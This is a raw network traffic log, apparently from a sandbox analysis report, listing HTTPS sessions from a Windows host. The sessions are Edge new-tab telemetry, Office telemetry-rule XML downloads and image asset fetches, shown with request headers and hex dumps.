domain=.msn.com; expires=Mon, 15-Dec-2025 17:57:51 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Wed, 20 Nov 2024 17:57:50 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49858	18.173.219.84	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:51 UTC	925	OUT	GET /b?rn=1732125470383&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28E93D09C21660CD09BC2834C3746145&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:51 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 20 Nov 2024 17:57:51 GMT Location: /b2?rn=1732125470383&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28E93D09C21660CD09BC2834C3746145&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1F33e57f5ba9e94c00145101732125471; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1F33e57f5ba9e94c00145101732125471; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 a7c9fe7eb79f698774d5b4dbc632cf68.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: QzWJTt1rZtcg8Z-KJr-g4kH_PFbH0KaoI9PQRhZyyTxJoqJ9QGX9Tg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:51 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:51 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175751Z-r1d97b99577d6qrbhC1TEBux5s00000009ag00000000bw1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:51 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49884	2.16.158.90	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:51 UTC	367	OUT	GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive
2024-11-20 17:57:51 UTC	627	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Type: image/png Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QWthbWFp"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Content-Length: 1874 Date: Wed, 20 Nov 2024 17:57:51 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.1d9e1002.1732125471.3deb9c4
2024-11-20 17:57:51 UTC	1874	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 06 e7 49 44 41 54 48 4b 95 93 0b 54 93 e7 19 c7 3f 2e 81 90 1b b7 ba a3 67 dd 7a a6 75 a7 83 40 88 dc ca aa d4 1d 94 02 02 81 90 ac 5e d0 8e e3 8e 5d 2f 93 22 0c 08 01 af 08 a2 a0 20 a2 50 44 ec 9c 73 dd d9 dc ea ac 68 5b 35 17 92 70 27 5c 12 12 42 a2 dc aa 88 a8 79 9f 8f 90 48 4b f6 26 fb 8e eb d6 d9 6d bf 73 fe e7 3b 39 e7 7d fe bf ef 79 bf 13 e2 bb 58 ad 34 ae e4 ca 47 8b b9 72 e3 17 5c b9 6e 3c 44 31 f0 24 44 d9 83 a3 9a 0c 51 de 54 87 2a db 8e 87 2a ff b2 9e f8 a3 d8 8b 1a f9 df e0 7d 31 f1 fd 08 d9 Data Ascii: PNGIHDRw=sRGBgAMAapHYsodIDATHKT?.gzu@^]/" PDsh[5p'\ByHK&ms;9}yX4Gr\n<D1$DQT**}1

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:51 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:51 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175751Z-185f5d8b95cf7qddhC1NYC66an0000000akg00000000uvq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:51 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49886	13.107.246.40	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:51 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:52 UTC	523	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:51 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: ef5a3f56-e01e-0029-4f75-3b1e45000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T175751Z-185f5d8b95c68cvnhC1NYCfn7s0000000an000000000a40k Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 17:57:52 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:51 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:51 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175751Z-185f5d8b95ctl8xlhC1NYCn94g0000000arg00000000383z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:51 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49888	13.107.246.40	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:51 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:52 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:51 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: cccbf3d8-c01e-0053-641b-3b7408000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T175751Z-185f5d8b95c9mqtvhC1NYCghtc0000000ag0000000019983 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:52 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49845	13.107.21.237	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:51 UTC	1269	OUT	GET /c.gif?rnd=1732125470382&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ccd0fd7b3902437281037ab16e9a62fd&activityId=ccd0fd7b3902437281037ab16e9a62fd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=F4F88F636E6E4E9EBBDD3FA481D47ECA&RedC=c.msn.com&MXFR=28E93D09C21660CD09BC2834C3746145 HTTP/1.1 Host: c.bing.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-MS-GEC: A5A4A428DF348E8F1DBA8A15313178101BE57A18B45B42804FA178C7FDFA4E51 Sec-MS-GEC-Version: 1-117.0.2045.55 Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:52 UTC	1700	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.msn.com/c.gif?rnd=1732125470382&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ccd0fd7b3902437281037ab16e9a62fd&activityId=ccd0fd7b3902437281037ab16e9a62fd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=F4F88F636E6E4E9EBBDD3FA481D47ECA&MUID=28E93D09C21660CD09BC2834C3746145 P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: MUID=28E93D09C21660CD09BC2834C3746145; domain=.bing.com; expires=Mon, 15-Dec-2025 17:57:51 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=c.bing.com; expires=Wed, 27-Nov-2024 17:57:51 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_B=28E93D09C21660CD09BC2834C3746145; domain=c.bing.com; expires=Mon, 15-Dec-2025 17:57:51 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_M=28E93D09C21660CD09BC2834C3746145; domain=c.bing.com; expires=Mon, 15-Dec-2025 17:57:51 GMT; path=/; SameSite=None; Secure; X-Powered-By: ASP.NET X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C3A69D3C5AC748BC8F279FC9ADFC5467 Ref B: EWR30EDGE1409 Ref C: 2024-11-20T17:57:51Z Date: Wed, 20 Nov 2024 17:57:51 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49859	104.117.182.18	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:51 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:52 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKSj Last-Modified: Fri, 15 Nov 2024 21:51:17 GMT X-Source-Length: 101189 X-Datacenter: westus X-ActivityId: 22220a85-5dca-4198-8d05-5b36a925dcc8 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 101189 Cache-Control: public, max-age=402816 Expires: Mon, 25 Nov 2024 09:51:27 GMT Date: Wed, 20 Nov 2024 17:57:51 GMT Connection: close
2024-11-20 17:57:52 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 17:57:52 UTC	16384	IN	Data Raw: 04 21 64 c2 12 2c 9a 42 14 18 08 8e 3f 59 f8 21 4c d8 21 42 8b 5c 9a 17 5a c9 02 fd ee 1f 2f 24 10 98 44 2a 8b 4f d8 f9 24 0b 55 09 b1 23 cb 74 28 05 2b 52 0e 27 30 c3 81 61 89 87 72 98 3b 58 c1 33 c2 12 88 83 63 3d 52 32 e1 17 4f 98 ee b9 5c 24 6b 73 8b a2 48 e5 10 20 0d 87 0b 47 89 dd 00 f1 56 b9 01 47 86 c3 cb f1 ea 88 2e b9 95 68 21 23 16 42 11 aa 35 42 28 13 c6 27 6d 89 f1 83 0a e1 5c 14 29 6e 71 71 26 c2 7a 0f a5 ad 08 61 12 b4 1a cc 52 db 99 bc 83 00 0f 2e 26 c8 29 24 12 01 81 72 6f 03 a9 4c 84 45 e6 8a 2d 48 25 db 09 24 da e6 24 f4 e0 10 10 ca e4 cb 09 91 3e 3b 75 40 90 02 37 36 36 24 8b 5e 22 fc 57 2e dd 09 07 db fb 2e 44 55 04 d0 14 7d 49 f1 56 09 12 06 c7 7d 94 9c 65 c0 3c b6 a9 a4 dd b1 66 8d c9 30 4c 79 47 9a 12 8c 2c 8a a3 33 13 3c 3c fc 95 Data Ascii: !d,B?Y!L!B\Z/$D*O$U#t(+R'0ar;X3c=R2O\$ksH GVG.h!#B5B('m\)nqq&zaR.&)$roLE-H%$$>;u@766$^"W..DU}IV}e<f0LyG,3<<
2024-11-20 17:57:52 UTC	1766	IN	Data Raw: f3 b9 c2 e3 8d 99 07 6b 93 75 8f a4 0f f6 73 ea 76 72 6b 73 6b 61 b5 65 db 45 64 52 66 78 6c 17 ad 6f b5 03 72 1c 79 71 9e 6d a0 89 3d 81 0e 81 7e 84 9e 8a e7 7b 3d d9 d8 f2 ad c0 f7 81 10 4f e5 30 d7 79 80 4c 1f 03 2a 33 9a 41 82 08 23 81 10 67 a8 5e cd d9 f4 e3 2b 9a 58 d0 d2 3f c4 60 12 09 bd 2e 0d b8 89 ef 3b c2 8f 93 48 d7 bb 0b 35 2f e6 c8 03 ab 69 a0 db f8 9a b9 9c 20 f1 20 ae 9e bf 6f ca 5e 4e 15 47 55 bd ab f6 6b f0 f3 b1 e1 cc 89 2f 34 c3 7c c0 33 4f 56 c9 e8 b1 ce 37 34 07 11 62 26 45 da 7c 8f 6f 38 5d 33 bc ed ee 94 78 5c 9b 10 85 6b a9 2d 72 35 c9 80 2e 44 b9 04 15 c8 d0 20 9c b9 5a b8 41 81 52 38 54 82 52 e4 48 54 85 2a 44 b9 00 2a ab f4 cb 5d 21 a4 11 04 8a 80 bf e5 e3 e4 8b 82 8f 91 e1 94 b4 b4 bc b8 d9 80 5d d7 f2 58 7d 97 25 5f 59 b5 2f Data Ascii: kusvrkskaeEdRfxloryqm=~{=O0yL3A#g^+X?`.;H5/i o^NGUk/4\|3OV74b&E\|o8]3x\k-r5.D ZAR8TRHTD*]!]X}%_Y/
